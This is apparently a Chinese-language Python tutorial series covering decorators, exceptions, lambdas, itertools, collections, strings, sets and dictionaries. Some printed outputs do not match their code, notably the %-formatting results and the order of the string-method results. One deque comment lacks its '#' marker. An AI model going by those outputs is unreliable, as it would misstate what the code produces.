        signature = ", ".join(args_repr + kwargs_repr)
        print(f"Calling {func.__name__}({signature})")
        result = func(*args, **kwargs)
        print(f"{func.__name__!r} returned {result!r}")
        return result
    return wrapper

@debug
@start_end_decorator_4
def say_hello(name):
    greeting = f'Hello {name}'
    print(greeting)
    return greeting

# 现在 `debug` 先执行,然后调用 `@start_end_decorator_4`,后者优惠调用 `say_hello`
say_hello(name='Alex')
    Calling say_hello(name='Alex')
    Start
    Hello Alex
    End
    'say_hello' returned 'Hello Alex'

类装饰器

我们也可以使用一个类作为装饰器。 因此,我们必须实现 __call__() 方法以使我们的对象可调用。 类装饰器通常用于维护状态,例如: 在这里,我们跟踪函数执行的次数。 __call__方法与我们之前看到的 wrapper() 方法本质上是相同的。 它添加了一些功能,执行了该函数,并返回其结果。 请注意,这里我们使用 functools.update_wrapper() 代替 functools.wraps 来保留有关函数的信息。

import functools

class CountCalls:
    # 初始化需要以func作为参数并将其存储
    def __init__(self, func):
        functools.update_wrapper(self, func)
        self.func = func
        self.num_calls = 0
    
    # 扩展功能,执行函数并返回结果
    def __call__(self, *args, **kwargs):
        self.num_calls += 1
        print(f"Call {self.num_calls} of {self.func.__name__!r}")
        return self.func(*args, **kwargs)

@CountCalls
def say_hello(num):
    print("Hello!")
    
say_hello(5)
say_hello(5)
    Call 1 of 'say_hello'
    Hello!
    Call 2 of 'say_hello'
    Hello!

一些典型的用例

  • 使用计时器装饰器来计算函数的执行时间
  • 使用调试装饰器来打印出有关被调用函数及其参数的更多信息
  • 使用检查修饰符检查参数是否满足某些要求并相应地调整行为
  • 注册函数(插件)
  • 使用 time.sleep() 降低代码速度以检查网络行为
  • 缓存返回值以进行记忆化(https://en.wikipedia.org/wiki/Memoization)
  • 添加信息或更新状态

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

09. 异常和错误 — Python 进阶

Python程序在遇到错误后立即终止。在Python中,错误可以是语法错误或异常。 在本文中,我们将关注以下内容:

  • 语法错误与异常
  • 如何抛出异常
  • 如何处理异常
  • 常见的内置异常
  • 如何定义自己的异常

语法错误

当解析器检测到语法不正确的语句时发生语法错误。 语法错误可以是例如拼写错误,缺少括号,没有新行(请参见下面的代码)或错误的标识(这实际上会引发它自己的IndentationError,但它是SyntaxError的子类)。

a = 5 print(a)
    File "<ipython-input-5-fed4b61d14cd>", line 1
    a = 5 print(a)
                  ^
    SyntaxError: invalid syntax

异常

即使一条语句在语法上是正确的,执行该语句也可能导致错误,这称为 异常错误。 有几种不同的错误类别,例如,尝试对数字和字符串求和将引发 TypeError

a = 5 + '10'
    ---------------------------------------------------------------------------
    TypeError                                 Traceback (most recent call last)
    <ipython-input-6-893398416ed7> in <module>
    ----> 1 a = 5 + '10'

    TypeError: unsupported operand type(s) for +: 'int' and 'str'

抛出异常

如果要在满足特定条件时强制发生异常,则可以使用 raise 关键字。

x = -5
if x < 0:
    raise Exception('x should not be negative.')
    ---------------------------------------------------------------------------
    Exception                                 Traceback (most recent call last)
    <ipython-input-4-2a9e7e673803> in <module>
          1 x = -5
          2 if x < 0:
    ----> 3     raise Exception('x should not be negative.')

    Exception: x should not be negative.

你还可以使用 assert 语句,如果你的断言不是 True,则将引发 AssertionError。 这样,你可以主动测试必须满足的某些条件,而不必等待程序中途崩溃。 断言还用于单元测试

x = -5
assert (x >= 0), 'x is not positive.'
# --> 如果 x >= 0,代码将正常运行
    ---------------------------------------------------------------------------
    AssertionError                            Traceback (most recent call last)
    <ipython-input-7-f9b059c51e45> in <module>
          1 x = -5
    ----> 2 assert (x >= 0), 'x is not positive.'
          3 # --> Your code will be fine if x >= 0
    AssertionError: x is not positive.

处理异常

你可以使用 tryexcept 块来捕获和处理异常。 如果你可以捕获异常,则你的程序将不会终止,并且可以继续。

# 这将捕获所有可能的异常
try:
    a = 5 / 0
except:
    print('some error occured.')
    
# 可以捕获异常类型
try:
    a = 5 / 0
except Exception as e:
    print(e)
    
# 最好指定要捕获的异常类型
# 因此,你必须知道可能的错误
try:
    a = 5 / 0
except ZeroDivisionError:
    print('Only a ZeroDivisionError is handled here')
    
# 你可以在try块中运行多个语句,并捕获不同的可能的异常
try:
    a = 5 / 1 # 注意:这里没有 ZeroDivisionError
    b = a + '10'
except ZeroDivisionError as e:
    print('A ZeroDivisionError occured:', e)
except TypeError as e:
    print('A TypeError occured:', e)
    Some error occured.
    Division by zero
    Only a ZeroDivisionError is handled here
    A TypeError occured: unsupported operand type(s) for +: 'float' and 'str'

else 语句

如果没有发生异常,则可以使用else语句运行。

try:
    a = 5 / 1
except ZeroDivisionError as e:
    print('A ZeroDivisionError occured:', e)
else:
    print('Everything is ok')
    Everything is ok

finally 语句

你可以使用始终运行的 finally 语句,无论是否存在异常。 例如,这可用于进行一些清理操作。

try:
    a = 5 / 1 # 注意:这里没有 ZeroDivisionError
    b = a + '10'
except ZeroDivisionError as e:
    print('A ZeroDivisionError occured:', e)
except TypeError as e:
    print('A TypeError occured:', e)
else:
    print('Everything is ok')
finally:
    print('Cleaning up some stuff...')
    A TypeError occured: unsupported operand type(s) for +: 'float' and 'str'
    Cleaning up some stuff...

常见的内置异常

你可以在此处找到所有内置的异常:https://docs.python.org/3/library/exceptions.html

  • ImportError:如果无法导入模块
  • NameError:如果你尝试使用未定义的变量
  • FileNotFoundError:如果你尝试打开一个不存在的文件或指定了错误的路径
  • ValueError:当某个操作或函数收到类型正确但值不正确的参数时,例如尝试从不存在的列表中删除值
  • TypeError:将操作或函数应用于不适当类型的对象时引发。
  • IndexError:如果你尝试访问序列的无效索引,例如列表或元组。
  • KeyError:如果你尝试访问字典中不存在的键。
# ImportError
import nonexistingmodule

# NameError
a = someundefinedvariable

# FileNotFoundError
with open('nonexistingfile.txt') as f:
    read_data = f.read()

# ValueError
a = [0, 1, 2]
a.remove(3)

# TypeError
a = 5 + "10"

# IndexError
a = [0, 1, 2]
value = a[5]

# KeyError
my_dict = {"name": "Max", "city": "Boston"}
age = my_dict["age"]

如何定义自己的异常

你可以定义自己的异常类,该异常类应从内置的 Exception 类派生。 与标准异常的命名类似,大多数异常都以“错误”结尾的名称定义。 可以像定义其他任何类一样定义异常类,但是它们通常保持简单,通常仅提供一定数量的属性,这些属性允许处理程序提取有关错误的信息。

# 自定义异常类的最小示例
class ValueTooHighError(Exception):
    pass

# 或者为处理者添加一些信息
class ValueTooLowError(Exception):
    def __init__(self, message, value):
        self.message = message
        self.value = value

def test_value(a):
    if a > 1000:
        raise ValueTooHighError('Value is too high.')
    if a < 5:
        raise ValueTooLowError('Value is too low.', a) # 注意,构造器接受两个参数
    return a

try:
    test_value(1)
except ValueTooHighError as e:
    print(e)
except ValueTooLowError as e:
    print(e.message, 'The value is:', e.value)
    Value is too low. The value is: 1

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

08. Lambda 函数 — Python 进阶

Lambda函数是一个小的(一行)匿名函数,没有函数名称。 Lambda函数可以接受任意数量的参数,但只能具有一个表达式。 虽然使用def关键字定义了普通函数,但在Python中,使用lambda关键字定义了匿名函数。

lambda arguments: expression

当简单函数仅在代码中使用一次或短时间时,可以使用Lambda函数。 最常见的用途是作为高阶函数(将其他函数作为参数的函数)的参数。 它们还与诸如 map()filter()reduce()之类的内置函数一起使用。

# 一个给参数加10的lambda函数
f = lambda x: x+10
val1 = f(5)
val2 = f(100)
print(val1, val2)

# 一个返回两个参数乘积的lambda函数
f = lambda x,y: x*y
val3 = f(2,10)
val4 = f(7,5)
print(val3, val4)
    15 110
    20 35

使用示例:另一个函数内的Lambda函数

从另一个函数返回定制的lambda函数,并根据需要创建不同的函数变体。

def myfunc(n):
    return lambda x: x * n

doubler = myfunc(2)
print(doubler(6))

tripler = myfunc(3)
print(tripler(6))
    12
    18

使用lambda函数作为key参数的自定义排序

key函数会在排序之前转换每个元素。

points2D = [(1, 9), (4, 1), (5, -3), (10, 2)]
sorted_by_y = sorted(points2D, key= lambda x: x[1])
print(sorted_by_y)

mylist = [- 1, -4, -2, -3, 1, 2, 3, 4]
sorted_by_abs = sorted(mylist, key= lambda x: abs(x))
print(sorted_by_abs)
    [(5, -3), (4, 1), (10, 2), (1, 9)]
    [-1, 1, -2, 2, -3, 3, -4, 4]

在 map 函数中使用 Lambda 函数

map(func, seq) ,使用函数转换每个元素。

a  = [1, 2, 3, 4, 5, 6]
b = list(map(lambda x: x * 2 , a))

# 但是,尝试使用列表推导
# 如果你已经定义了函数,请使用 map
c = [x*2 for x in a]
print(b)
print(c)
    [2, 4, 6, 8, 10, 12]
    [2, 4, 6, 8, 10, 12]

在 filter 函数中使用 Lambda 函数

filter(func, seq) ,返回其 func 计算为 True 的所有元素。

a = [1, 2, 3, 4, 5, 6, 7, 8]
b = list(filter(lambda x: (x%2 == 0) , a))

# 同样可以使用列表推导实现
c = [x for x in a if x%2 == 0]
print(b)
print(c)
    [2, 4, 6, 8]
    [2, 4, 6, 8]

reduce

reduce(func, seq) ,重复将 func 应用于元素并返回单个值。func 需要2个参数。

from functools import reduce
a = [1, 2, 3, 4]
product_a = reduce(lambda x, y: x*y, a)
print(product_a)
sum_a = reduce(lambda x, y: x+y, a)
print(sum_a)
    24
    10

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

07. Itertools — Python 进阶

Python itertools 模块是用于处理迭代器的工具集合。 简而言之,迭代器是可以在for循环中使用的数据类型。 Python中最常见的迭代器是列表。

有关所有可能的 itertools,请参见 https://docs.python.org/3/library/itertools.html

product()

该工具计算输入可迭代项的笛卡尔积。

它等效于嵌套的for循环。 例如,product(A, B)返 回的结果与 ((x,y) for x in A for y in B) 相同。

from itertools import product

prod = product([1, 2], [3, 4])
print(list(prod)) # 请注意,我们将迭代器转换为列表进行打印

# 为了允许可迭代对象自身做乘积,指定重复次数
prod = product([1, 2], [3], repeat=2)
print(list(prod)) # 请注意,我们将迭代器转换为列表进行打印
    [(1, 3), (1, 4), (2, 3), (2, 4)]
    [(1, 3, 1, 3), (1, 3, 2, 3), (2, 3, 1, 3), (2, 3, 2, 3)]

permutations()

此工具以所有可能的顺序,以可迭代的方式返回元素的连续长度排列,并且没有重复的元素。

from itertools import permutations

perm = permutations([1, 2, 3])
print(list(perm))

# 可选:排列元组的长度
perm = permutations([1, 2, 3], 2)
print(list(perm))
    [(1, 2, 3), (1, 3, 2), (2, 1, 3), (2, 3, 1), (3, 1, 2), (3, 2, 1)]
    [(1, 2), (1, 3), (2, 1), (2, 3), (3, 1), (3, 2)]

combinations() and combinations_with_replacement()

长度r的元组,按排序顺序。 因此,如果对输入的可迭代对象进行排序,则将按排序顺序生成组合元组。 combinations()不允许重复的元素,但 combinations_with_replacement() 允许。

from itertools import combinations, combinations_with_replacement

# 第二个参数是必需的,它指定输出元组的长度。
comb = combinations([1, 2, 3, 4], 2)
print(list(comb))

comb = combinations_with_replacement([1, 2, 3, 4], 2)
print(list(comb))
    [(1, 2), (1, 3), (1, 4), (2, 3), (2, 4), (3, 4)]
    [(1, 1), (1, 2), (1, 3), (1, 4), (2, 2), (2, 3), (2, 4), (3, 3), (3, 4), (4, 4)]

accumulate()

使迭代器返回累加的总和或其他二进制函数的累加结果。

from itertools import accumulate

# 返回累积和
acc = accumulate([1,2,3,4])
print(list(acc))

# 其他可能的函数是可能的
import operator
acc = accumulate([1,2,3,4], func=operator.mul)
print(list(acc))

acc = accumulate([1,5,2,6,3,4], func=max)
print(list(acc))
    [1, 3, 6, 10]
    [1, 2, 6, 24]
    [1, 5, 5, 6, 6, 6]

groupby()

创建一个迭代器,从迭代器返回连续的键和组。 键是为每个元素计算键值的函数。 如果未指定或为None,则键默认为标识函数,并返回不变的元素。 通常,可迭代项需要已经在相同的键函数上进行了排序。

from itertools import groupby

# 使用函数作为键
def smaller_than_3(x):
    return x < 3

group_obj = groupby([1, 2, 3, 4], key=smaller_than_3)
for key, group in group_obj:
    print(key, list(group))

# 或者使用 lambda 表达式,比如:包含 'i' 的词
group_obj = groupby(["hi", "nice", "hello", "cool"], key=lambda x: "i" in x)
for key, group in group_obj:
    print(key, list(group))
    
persons = [{'name': 'Tim', 'age': 25}, {'name': 'Dan', 'age': 25}, 
           {'name': 'Lisa', 'age': 27}, {'name': 'Claire', 'age': 28}]

for key, group in groupby(persons, key=lambda x: x['age']):
    print(key, list(group))
    True [1, 2]
    False [3, 4]
    True ['hi', 'nice']
    False ['hello', 'cool']
    25 [{'name': 'Tim', 'age': 25}, {'name': 'Dan', 'age': 25}]
    27 [{'name': 'Lisa', 'age': 27}]
    28 [{'name': 'Claire', 'age': 28}]

无限迭代器:count(), cycle(), repeat()

from itertools import count, cycle, repeat
# count(x): 从 x 开始计数: x, x+1, x+2, x+3...
for i in count(10):
    print(i)
    if  i >= 13:
        break

# cycle(iterable) : 通过迭代无限循环
print("")
sum = 0
for i in cycle([1, 2, 3]):
    print(i)
    sum += i
    if sum >= 12:
        break

# repeat(x): 无限重复x或重复n次
print("")
for i in repeat("A", 3):
    print(i)
    10
    11
    12
    13

    1
    2
    3
    1
    2
    3

    A
    A
    A

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

06. collections — Python 进阶

Python 中的 collections 模块实现了专门的容器数据类型,提供了 Python 通用内置容器dict,list,set和tuple的替代方案。

包含以下工具:

  • namedtuple:用于创建具有命名字段的元组子类的工厂函数
  • OrderedDict:用于记住条目添加顺序的dict子类
  • Counter:用于计算可哈希对象的dict子类
  • defaultdict:调用工厂函数以提供缺失值的dict子类
  • deque: 列表式容器,支持两端都有快速追加和弹出

在Python 3中,还存在其他一些模块(ChainMap,UserDict,UserList,UserString)。 有关更多参考,请参见 https://docs.python.org/3/library/collections.html

Counter

计数器是一个将元素存储为字典键的容器,而它们的计数则存储为字典值。

from collections import Counter
a = "aaaaabbbbcccdde"
my_counter = Counter(a)
print(my_counter)

print(my_counter.items())
print(my_counter.keys())
print(my_counter.values())

my_list = [0, 1, 0, 1, 2, 1, 1, 3, 2, 3, 2, 4]
my_counter = Counter(my_list)
print(my_counter)

# 出现最多的元素
print(my_counter.most_common(1))

# 返回元素的迭代器,每个元素重复其计数次数
# 元素返回顺序任意
print(list(my_counter.elements()))
    Counter({'a': 5, 'b': 4, 'c': 3, 'd': 2, 'e': 1})
    dict_items([('a', 5), ('b', 4), ('c', 3), ('d', 2), ('e', 1)])
    dict_keys(['a', 'b', 'c', 'd', 'e'])
    dict_values([5, 4, 3, 2, 1])
    Counter({1: 4, 2: 3, 0: 2, 3: 2, 4: 1})
    [(1, 4)]
    [0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4]

namedtuple

namedtuple 是容易创建,轻量级的对象类型。 它们为元组中的每个位置分配含义,并允许使用更具可读性的带文档代码。 它们可以在使用常规元组的任何地方使用,并且它们增加了按名称而不是位置索引访问字段的能力。

from collections import namedtuple
# 创建一个namedtuple,其类名称为string,其字段为string
# 给定字符串中的字段必须用逗号或空格分隔
Point = namedtuple('Point','x, y')
pt = Point(1, -4)
print(pt)
print(pt._fields)
print(type(pt))
print(pt.x, pt.y)

Person = namedtuple('Person','name, age')
friend = Person(name='Tom', age=25)
print(friend.name, friend.age)
    Point(x=1, y=-4)
    ('x', 'y')
    <class '__main__.Point'>
    1 -4
    Tom 25

OrderedDict

OrderedDict 就像常规dict一样,但是它们记住条目插入的顺序。 在 OrderedDict 上进行迭代时,将按照条目的键首次添加的顺序返回项。 如果新条目覆盖了现有条目,则原始插入位置将保持不变。 既然内置dict类获得了记住插入顺序的能力(自python 3.7起),它们的重要性就变得不那么重要了。 但是仍然存在一些差异,例如 OrderedDict 被设计为擅长重新排序操作。

from collections import OrderedDict
ordinary_dict = {}
ordinary_dict['a'] = 1
ordinary_dict['b'] = 2
ordinary_dict['c'] = 3
ordinary_dict['d'] = 4
ordinary_dict['e'] = 5
# 在Python 3.7之前,这个可能是任意顺序
print(ordinary_dict)

ordered_dict = OrderedDict()
ordered_dict['a'] = 1
ordered_dict['b'] = 2
ordered_dict['c'] = 3
ordered_dict['d'] = 4
ordered_dict['e'] = 5
print(ordered_dict)
# 与普通dict具有相同的功能,但始终有序
for k, v in ordinary_dict.items():
    print(k, v)
    {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5}
    OrderedDict([('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5)])
    a 1
    b 2
    c 3
    d 4
    e 5

defaultdict

defaultdict是一个与通常的dict容器相似的容器,但是唯一的区别是,如果尚未设置该键,则defaultdict将具有默认值。 如果不使用defaultdict,则你必须检查该键是否存在,如果不存在,则将其设置为所需的键。

from collections import defaultdict

# 初始化一个默认int值,即 0
d = defaultdict(int)
d['yellow'] = 1
d['blue'] = 2
print(d.items())
print(d['green'])

# 初始化一个默认列表值,即空列表
d = defaultdict(list)
s = [('yellow', 1), ('blue', 2), ('yellow', 3), ('blue', 4), ('red', 5)]
for k, v in s:
    d[k].append(v)

print(d.items())
print(d['green'])
    dict_items([('yellow', 1), ('blue', 2)])
    0
    dict_items([('yellow', [1, 3]), ('blue', [2, 4]), ('red', [5])])
    []

deque

deque是双端队列。 它可用于在两端添加或删除元素。 deque支持从队列的任一侧线程安全,内存高效地追加和弹出,在任一方向上大致相同的 O(1) 性能。 更常用的栈和队列是双端队列的退化形式,其中输入和输出限制为单端。

from collections import deque
d = deque()

# append() : 添加元素到右端
d.append('a')
d.append('b')
print(d)

# appendleft() : 添加元素到左端
d.appendleft('c')
print(d)

# pop() : 返回并删除右端元素
print(d.pop())
print(d)

# popleft() : 返回并删除左端元素
print(d.popleft())
print(d)

# clear() : 删除所有元素
d.clear()
print(d)

d = deque(['a', 'b', 'c', 'd'])

# 在右端或者左端扩展
d.extend(['e', 'f', 'g'])
d.extendleft(['h', 'i', 'j']) # 主语 'j' 现在在最左侧 
print(d)

# count(x) : 返回找到的元素个数
print(d.count('h'))

# 向右旋转1个位置
d.rotate(1)
print(d)

向左旋转2个位置
d.rotate(-2)
print(d)
    deque(['a', 'b'])
    deque(['c', 'a', 'b'])
    b
    deque(['c', 'a'])
    c
    deque(['a'])
    deque([])
    deque(['j', 'i', 'h', 'a', 'b', 'c', 'd', 'e', 'f', 'g'])
    1
    deque(['g', 'j', 'i', 'h', 'a', 'b', 'c', 'd', 'e', 'f'])
    deque(['i', 'h', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'j'])

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

05. 字符串 — Python 进阶

字符串是字符序列。 Python中的字符串用双引号或单引号引起来。

my_string = 'Hello'

Python字符串是不可变的,这意味着它们在创建后就无法更改。

创建

# 使用单引号后者双引号
my_string = 'Hello'
my_string = "Hello"
my_string = "I' m  a 'Geek'"

# 转义反斜杠
my_string = 'I\' m  a "Geek"'
my_string = 'I\' m a \'Geek\''
print(my_string)

# 多行字符串使用三个引号
my_string = """Hello
World"""
print(my_string)

# 如果需要字符串在下一行继续,使用反斜杠
my_string = "Hello \
World"
print(my_string)
    I' m a 'Geek'
    Hello
    World
    Hello World

访问字符和子字符串

my_string = "Hello World"

# 使用索引获取字符
b = my_string[0]
print(b)

# 通过切片获取子字符串
b = my_string[1:3] # 注意,最后一个索引不包括
print(b)
b = my_string[:5] # 从第一个元素开始
print(b)
b = my_string[6:] # 直到最后
print(b)
b = my_string[::2] # 从头到为每隔两个元素
print(b)
b = my_string[::-1] # 使用负步长翻转列表
print(b)
    H
    el
    Hello
    World
    HloWrd
    dlroW olleH

连接两个或多个字符串

# 使用 + 拼接字符串
greeting = "Hello"
name = "Tom"
sentence = greeting + ' ' + name
print(sentence)
Hello Tom

迭代

# 使用for循环迭代列表
my_string = 'Hello'
for i in my_string:
    print(i)
    H
    e
    l
    l
    o

检查字符或子字符串是否存在

if "e" in "Hello":
    print("yes")
if "llo" in "Hello":
    print("yes")
    yes
    yes

有用的方法

my_string = "     Hello World "

# 去除空格
my_string = my_string.strip()
print(my_string)

# 字符的个数
print(len(my_string))

# 大小写
print(my_string.upper())
print(my_string.lower())

# startswith 和 endswith
print("hello".startswith("he"))
print("hello".endswith("llo"))

# 找到子字符串的第一个索引,没有则返回 -1
print("Hello".find("o"))

# 计算字符或者子字符串的个数
print("Hello".count("e"))

# 使用其他字符串代替子字符串(当且仅当子字符串存在时)
# 注意:原字符串保持不变
message = "Hello World"
new_message = message.replace("World", "Universe")
print(new_message)

# 将字符串切分为为列表
my_string = "how are you doing"
a = my_string.split() # default argument is " "
print(a)
my_string = "one,two,three"
a = my_string.split(",")
print(a)

# 将列表拼接为字符串
my_list = ['How', 'are', 'you', 'doing']
a = ' '.join(my_list) # 给出的字符串是分隔符,比如在每个元素之间添加 ' '
print(a)
    Hello World
    11
    HELLO WORLD
    hello world
    ['how', 'are', 'you', 'doing']
    ['one', 'two', 'three']
    True
    True
    4
    1
    Hello Universe
    How are you doing

格式化

新样式使用 format() 方法,旧样式使用 % 操作符。

# 使用大括号做占位符
a = "Hello {0} and {1}".format("Bob", "Tom")
print(a)

# 默认顺序时位置可以不写
a = "Hello {} and {}".format("Bob", "Tom")
print(a)

a = "The integer value is {}".format(2)
print(a)

# 一些数字的特殊格式化规则
a = "The float value is {0:.3f}".format(2.1234)
print(a)
a = "The float value is {0:e}".format(2.1234)
print(a)
a = "The binary value is {0:b}".format(2)
print(a)

# old style formatting by using % operator
# 旧的方式使用 % 操作符
print("Hello %s and %s" % ("Bob", "Tom")) # 多个参数时必需是元组
val =  3.14159265359
print("The decimal value is %d" % val)
print("The float value is %f" % val)
print("The float value is %.2f" % val)
    Hello Bob and Tom
    Hello Bob and Tom
    The integer value is 2
    The float value is 2.123
    The float value is 2.123400e+00
    The binary value is 10
    Hello Bob and Tom
    The decimal value is 10
    The float value is 10.123450
    The float value is 10.12

f-Strings

从 Python 3.6 起,可以直接在花括号内使用变量。

name = "Eric"
age = 25
a = f"Hello, {name}. You are {age}."
print(a)
pi = 3.14159
a = f"Pi is {pi:.3f}"
print(a)
# f-Strings 在运行时计算,可以允许表达式
a = f"The value is {2*60}"
print(a)
    Hello, Eric. You are 25.
    Pi is 3.142
    The value is 120

更多关于不变性和拼接

# 因为字符串不可变,所以使用 + 或者 += 拼接字符串总是生成新的字符串
# 因此,多个操作时更加耗时。使用 join 方法更快。
from timeit import default_timer as timer
my_list = ["a"] * 1000000

# bad
start = timer()
a = ""
for i in my_list:
    a += i
end = timer()
print("concatenate string with + : %.5f" % (end - start))

# good
start = timer()
a = "".join(my_list)
end = timer()
print("concatenate string with join(): %.5f" % (end - start))
    concat string with + : 0.34527
    concat string with join(): 0.01191
# a[start:stop:step], 默认步长为 1
a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
b = a[1:3] # 注意,最后一个索引不包括
print(b)
b = a[2:] # 直到最后
print(b)
b = a[:3] # 从第一个元素开始
print(b)
a[0:3] = [0] # 替换子部分,需要可迭代
print(a)
b = a[::2] # 从头到为每隔两个元素
print(b)
a = a[::-1] # 使用负步长翻转列表
print(a)
b = a[:] # 使用切片复制元素
print(b)

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

04. 集合 — Python 进阶

集合是无序的容器数据类型,它是无索引的,可变的并且没有重复的元素。 集合用大括号创建。

my_set = {"apple", "banana", "cherry"}

创建集合

使用花括号或内置的 set 函数。

my_set = {"apple", "banana", "cherry"}
print(my_set)

# 或者使用 set 函数从可迭代对象创建,比如列表,元组,字符串
my_set_2 = set(["one", "two", "three"])
my_set_2 = set(("one", "two", "three"))
print(my_set_2)

my_set_3 = set("aaabbbcccdddeeeeeffff")
print(my_set_3)

# 注意:一个空的元组不能使用 {} 创建,这个会识别为字典
# 使用 set() 进行创建
a = {}
print(type(a))
a = set()
print(type(a))
    {'banana', 'apple', 'cherry'}
    {'three', 'one', 'two'}
    {'b', 'c', 'd', 'e', 'f', 'a'}
    <class 'dict'>
    <class 'set'>

添加元素

my_set = set()

# 使用 add() 方法添加元素
my_set.add(42)
my_set.add(True)
my_set.add("Hello")

# 注意:顺序不重要,只会影响打印输出
print(my_set)

# 元素已经存在是没有影响
my_set.add(42)
print(my_set)
    {True, 42, 'Hello'}
    {True, 42, 'Hello'}

移除元素

# remove(x): 移除 x, 如果元素不存在则引发 KeyError 错误
my_set = {"apple", "banana", "cherry"}
my_set.remove("apple")
print(my_set)

# KeyError:
# my_set.remove("orange")

# discard(x): 移除 x, 如果元素不存在则什么也不做
my_set.discard("cherry")
my_set.discard("blueberry")
print(my_set)

# clear() : 移除所有元素
my_set.clear()
print(my_set)

# pop() : 移除并返回随机一个元素
a = {True, 2, False, "hi", "hello"}
print(a.pop())
print(a)
    {'banana', 'cherry'}
    {'banana'}
    set()
    False
    {True, 2, 'hi', 'hello'}

检查元素是否存在

my_set = {"apple", "banana", "cherry"}
if "apple" in my_set:
    print("yes")
    yes

迭代

# 使用 for 循环迭代集合
# 注意:顺序不重要
my_set = {"apple", "banana", "cherry"}
for i in my_set:
    print(i)
    banana
    apple
    cherry

并集和交集

odds = {1, 3, 5, 7, 9}
evens = {0, 2, 4, 6, 8}
primes = {2, 3, 5, 7}

# union() : 合并来自两个集合的元素,不重复
# 注意这不会改变两个集合
u = odds.union(evens)
print(u)

# intersection(): 选择在两个集合中都存在的元素
i = odds.intersection(evens)
print(i)

i = odds.intersection(primes)
print(i)

i = evens.intersection(primes)
print(i)
    {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
    set()
    {3, 5, 7}
    {2}

集合的差

setA = {1, 2, 3, 4, 5, 6, 7, 8, 9}
setB = {1, 2, 3, 10, 11, 12}

# difference() : 返回集合 setA 中不在集合 setB 中的元素的集合
diff_set = setA.difference(setB)
print(diff_set)

# A.difference(B) 与 B.difference(A) 不一样
diff_set = setB.difference(setA)
print(diff_set)

# symmetric_difference() : 返回集合 setA 和 setB 中不同时在两个集合中的元素的集合
diff_set = setA.symmetric_difference(setB)
print(diff_set)

# A.symmetric_difference(B) = B.symmetric_difference(A)
diff_set = setB.symmetric_difference(setA)
print(diff_set)
    {4, 5, 6, 7, 8, 9}
    {10, 11, 12}
    {4, 5, 6, 7, 8, 9, 10, 11, 12}
    {4, 5, 6, 7, 8, 9, 10, 11, 12}

更新集合

setA = {1, 2, 3, 4, 5, 6, 7, 8, 9}
setB = {1, 2, 3, 10, 11, 12}

# update() : 通过添加其他集合的元素进行更新
setA.update(setB)
print(setA)

# intersection_update() : 通过保留共同的元素进行更新
setA = {1, 2, 3, 4, 5, 6, 7, 8, 9}
setA.intersection_update(setB)
print(setA)

# difference_update() : 通过移除与其他集合中相同的元素进行更新
setA = {1, 2, 3, 4, 5, 6, 7, 8, 9}
setA.difference_update(setB)
print(setA)

# symmetric_difference_update() : 通过保留只出现在一个集合而不出现在另一个集合中的元素进行更新
setA = {1, 2, 3, 4, 5, 6, 7, 8, 9}
setA.symmetric_difference_update(setB)
print(setA)

# 注意:所有的更新方法同时适用于其他可迭代对象作为参数,比如列表,元组
# setA.update([1, 2, 3, 4, 5, 6])
    {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}
    {1, 2, 3}
    {4, 5, 6, 7, 8, 9}
    {4, 5, 6, 7, 8, 9, 10, 11, 12}

复制

set_org = {1, 2, 3, 4, 5}

# 只是引用的复制,需要注意
set_copy = set_org

# 修改复制集合也会影响原来的集合
set_copy.update([3, 4, 5, 6, 7])
print(set_copy)
print(set_org)

# 使用 copy() 真正复制集合
set_org = {1, 2, 3, 4, 5}
set_copy = set_org.copy()

# 现在修改复制集合不会影响原来的集合
set_copy.update([3, 4, 5, 6, 7])
print(set_copy)
print(set_org)
    {1, 2, 3, 4, 5, 6, 7}
    {1, 2, 3, 4, 5, 6, 7}
    {1, 2, 3, 4, 5, 6, 7}
    {1, 2, 3, 4, 5}

子集,超集和不交集

setA = {1, 2, 3, 4, 5, 6}
setB = {1, 2, 3}
# issubset(setX): 如果 setX 包含集合,返回 True
print(setA.issubset(setB))
print(setB.issubset(setA)) # True

# issuperset(setX): 如果集合包含 setX,返回 True
print(setA.issuperset(setB)) # True
print(setB.issuperset(setA))

# isdisjoint(setX) : 如果两个集合交集为空,比如没有相同的元素,返回 True
setC = {7, 8, 9}
print(setA.isdisjoint(setB))
print(setA.isdisjoint(setC))
    False
    True
    True
    False
    False
    True

Frozenset

Frozenset 只是普通集和的不变版本。 尽管可以随时修改集合的元素,但 Frozenset 的元素在创建后保持不变。 创建方式:

my_frozenset = frozenset(iterable)
a = frozenset([0, 1, 2, 3, 4])

# 以下操作不允许:
# a.add(5)
# a.remove(1)
# a.discard(1)
# a.clear()

# 同时,更新方法也不允许:
# a.update([1,2,3])

# 其他集合操作可行
odds = frozenset({1, 3, 5, 7, 9})
evens = frozenset({0, 2, 4, 6, 8})
print(odds.union(evens))
print(odds.intersection(evens))
print(odds.difference(evens))
    frozenset({0, 1, 2, 3, 4, 5, 6, 7, 8, 9})
    frozenset()
    frozenset({1, 3, 5, 7, 9})

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

03. 字典 — Python 进阶

字典是无序,可变和可索引的集合。 字典由键值对的集合组成。 每个键值对将键映射到其关联值。 字典用大括号书写。 每对键值均以冒号( : )分隔,并且各项之间以逗号分隔。

my_dict = {"name":"Max", "age":28, "city":"New York"}

创建字典

使用大括号或者内置的 dict 函数创建。

my_dict = {"name":"Max", "age":28, "city":"New York"}
print(my_dict)

# 或者使用字典构造器,注意:键不需要引号。
my_dict_2 = dict(name="Lisa", age=27, city="Boston")
print(my_dict_2)
    {'name': 'Max', 'age': 28, 'city': 'New York'}
    {'name': 'Lisa', 'age': 27, 'city': 'Boston'}

访问元素

name_in_dict = my_dict["name"]
print(name_in_dict)

# 如果键没有找到,引发 KeyError 错误
# print(my_dict["lastname"])
